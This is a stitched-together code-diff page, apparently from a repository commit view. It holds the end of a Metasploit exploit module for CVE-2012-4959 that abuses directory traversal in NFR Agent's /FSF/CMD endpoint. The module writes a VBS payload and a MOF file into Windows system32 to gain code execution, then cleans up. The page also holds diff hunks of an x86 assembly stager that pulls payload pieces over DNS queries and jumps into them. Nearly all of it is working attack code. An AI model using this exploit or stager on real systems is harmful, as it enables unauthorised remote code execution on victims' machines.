arbitrary files via a directory traversal while handling requests to /FSF/CMD with
|
||||
FSFUI records with UICMD 130. This module has been tested successfully against NFR
|
||||
Agent 1.0.4.3 (File Reporter 1.0.2) and NFR Agent 1.0.3.22 (File Reporter 1.0.1).
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'juan vazquez'
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', 'CVE-2012-4959'],
|
||||
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/11/16/nfr-agent-buffer-vulnerabilites-cve-2012-4959' ]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 2048,
|
||||
'StackAdjustment' => -3500
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'WfsDelay' => 20
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
#Windows before Vista
|
||||
[ 'Automatic', { } ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Nov 16 2012'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(3037),
|
||||
OptBool.new('SSL', [true, 'Use SSL', true]),
|
||||
OptInt.new('DEPTH', [true, 'Traversal depth', 6])
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def on_new_session(client)
|
||||
|
||||
return if not @var_mof_name
|
||||
return if not @var_vbs_name
|
||||
|
||||
if client.type != "meterpreter"
|
||||
print_error("NOTE: you must use a Meterpreter payload in order to automatically clean up.")
|
||||
print_error("The following files must be removed manually:")
|
||||
print_error("The VBS payload: %WINDIR%\\system32\\#{@var_vbs_name}.vbs")
|
||||
print_error("The MOF file (%WINDIR%\\system32\\wbem\\mof\\good\\#{@var_mof_name}.mof)")
|
||||
return # That's it
|
||||
end
|
||||
|
||||
# stdapi must be loaded before we can use fs.file
|
||||
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
|
||||
|
||||
begin
|
||||
print_good("Deleting the VBS payload \"#{@var_vbs_name}.vbs\" ...")
|
||||
windir = client.fs.file.expand_path("%WINDIR%")
|
||||
client.fs.file.rm("#{windir}\\system32\\" + @var_vbs_name + ".vbs")
|
||||
print_good("Deleting the MOF file \"#{@var_mof_name}.mof\" ...")
|
||||
cmd = "#{windir}\\system32\\attrib.exe -r " +
|
||||
"#{windir}\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof"
|
||||
client.sys.process.execute(cmd, nil, {'Hidden' => true })
|
||||
client.fs.file.rm("#{windir}\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof")
|
||||
rescue ::Exception => e
|
||||
print_error("Exception: #{e.inspect}")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
# In order to save binary data to the file system the payload is written to a .vbs
|
||||
# file and execute it from there.
|
||||
@var_mof_name = rand_text_alpha(rand(5)+5)
|
||||
@var_vbs_name = rand_text_alpha(rand(5)+5)
|
||||
|
||||
print_status("Encoding payload into VBS...")
|
||||
payload = generate_payload_exe
|
||||
vbs_content = Msf::Util::EXE.to_exe_vbs(payload)
|
||||
|
||||
print_status("Generating VBS file...")
|
||||
mof_content = generate_mof("#{@var_mof_name}.mof", "#{@var_vbs_name}.vbs")
|
||||
|
||||
print_status("#{peer} - Uploading the VBS file")
|
||||
worked = upload_file("WINDOWS\\system32\\#{@var_vbs_name}.vbs", vbs_content)
|
||||
unless worked
|
||||
fail_with(Failure::NotVulnerable, "Failed to upload the file")
|
||||
end
|
||||
|
||||
print_status("#{peer} - Uploading the MOF file")
|
||||
upload_file("WINDOWS\\system32\\wbem\\mof\\#{@var_mof_name}.mof", mof_content)
|
||||
end
|
||||
|
||||
def upload_file(filename, content)
|
||||
traversal = "..\\" * datastore['DEPTH']
|
||||
traversal << filename
|
||||
|
||||
record = "<RECORD><NAME>FSFUI</NAME><UICMD>130</UICMD><FILE>#{traversal}</FILE><![CDATA[#{content}]]></RECORD>"
|
||||
md5 = Rex::Text.md5("SRS" + record + "SERVER").upcase
|
||||
message = md5 + record
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/FSF/CMD',
|
||||
'version' => '1.1',
|
||||
'method' => 'POST',
|
||||
'ctype' => "text/xml",
|
||||
'data' => message,
|
||||
})
|
||||
|
||||
if res and res.code == 200 and res.body.include? "<RESULT><VERSION>1</VERSION><STATUS>0</STATUS></RESULT>"
|
||||
print_warning("#{peer} - File successfully uploaded: #{filename}")
|
||||
else
|
||||
print_error("#{peer} - Failed to upload the file")
|
||||
return false
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
end
|
|
@ -160,7 +160,7 @@ get_next_mod1: ;
|
|||
pop edi ; Pop off the current (now the previous) modules hash
|
||||
pop edx ; Restore our position in the module list
|
||||
mov edx, [edx] ; Get the next module
|
||||
jmp next_mod ; Process this module
|
||||
jmp.i8 next_mod ; Process this module
|
||||
|
||||
; actual routine
|
||||
start:
|
||||
|
@ -195,7 +195,7 @@ load_dnsapi:
|
|||
mov bl,0x61 ; first query, start with 'a'
|
||||
|
||||
dnsquery:
|
||||
jmp get_dnsname ; get dnsname
|
||||
jmp.i8 get_dnsname ; get dnsname
|
||||
|
||||
get_dnsname_return:
|
||||
pop eax ; get ptr to dnsname (lpstrName)
|
||||
|
@ -215,7 +215,7 @@ get_dnsname_return:
|
|||
call ebp ;
|
||||
test eax, eax ; query ok ?
|
||||
jnz jump_to_payload ; no, jump to payload
|
||||
jmp get_query_result ; eax = 0 : a piece returned, fetch it
|
||||
jmp.i8 get_query_result ; eax = 0 : a piece returned, fetch it
|
||||
|
||||
|
||||
get_dnsname:
|
||||
|
@ -225,9 +225,9 @@ get_dnsname:
|
|||
get_query_result:
|
||||
xchg #{bufferreg},edx ; save start of heap
|
||||
pop #{bufferreg} ; heap structure containing DNS results
|
||||
mov eax,[#{bufferreg}] ; if first dword has a non-null value, then stop
|
||||
test eax,eax
|
||||
jnz prepare_payload ; jmp to payload
|
||||
mov eax,[#{bufferreg}+0x18] ; check if value at offset 0x18 is 0x1
|
||||
cmp eax,1
|
||||
jne prepare_payload ; jmp to payload
|
||||
add #{bufferreg},#{wTypeOffset} ; get ptr to ptr to DNS reply
|
||||
mov #{bufferreg},[#{bufferreg}] ; get ptr to DNS reply
|
||||
|
||||
|
@ -243,7 +243,7 @@ copy_piece_to_heap:
|
|||
push edi ;
|
||||
inc ebx ; increment sequence
|
||||
xchg #{bufferreg},edx ; restore start of heap
|
||||
jmp dnsquery ; try to get the next piece, if any
|
||||
jmp.i8 dnsquery ; try to get the next piece, if any
|
||||
|
||||
prepare_payload:
|
||||
mov #{bufferreg},edx
|
||||
|
|
Loading…
Reference in New Issue